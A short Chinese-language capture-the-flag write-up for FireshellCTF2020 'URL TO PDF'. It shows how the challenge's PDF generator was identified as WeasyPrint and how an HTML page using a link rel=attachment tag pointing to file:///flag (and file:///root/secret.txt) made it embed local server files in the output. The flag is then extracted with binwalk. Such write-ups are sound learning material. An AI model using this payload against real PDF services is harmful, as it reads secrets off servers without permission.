[FireshellCTF2020]URL TO PDF
这个题目的前端和[FireshellCTF2020]ScreenShooter
好相似,填写一个url,会返回一个pdf,上个题目是返回的图片
这东西应该也是和爬虫相关的,让靶机去访问vps的7777端口,监听查看请求
发现是WeasyPrint
WeasyPrint
WeasyPrint是一个用于HTML和CSS的可视化渲染引擎,可以将HTML文档导出为打印标准的PDF文件
引用文章:我的费用报告导致 Lyft 上的服务器端请求伪造 (SSRF) — Nahamsec
WeasyPrint重新定义了一组html标签,包括img,embed,object等。根据我们之前的测试,我们已经知道javascript不是利用这一点的选项。在这一点上,我们的希望很低,我们开始认为PDF生成器不再可利用,直到我们发现对<链接>内部的几个文件的引用,包括pdf.py。这使我们能够通过使用 将任何网页或本地文件的内容附加到我们的 PDF 中。
<link rel=attachment href="file:///root/secret.txt">
根据这个写index.html
<!DOCTYPE html>
<html>
<head>
<title>cai</title>
</head>
<body>
<link rel = "attachment" href = "file:///flag">
</body>
</html>
下载得到pdf文件,然后用binwalk分开
因为我使用的是root用户,所以使用如下命令
binwalk -e d0ee710813f87df641cd74b3ffec0c04.pdf --run-as=root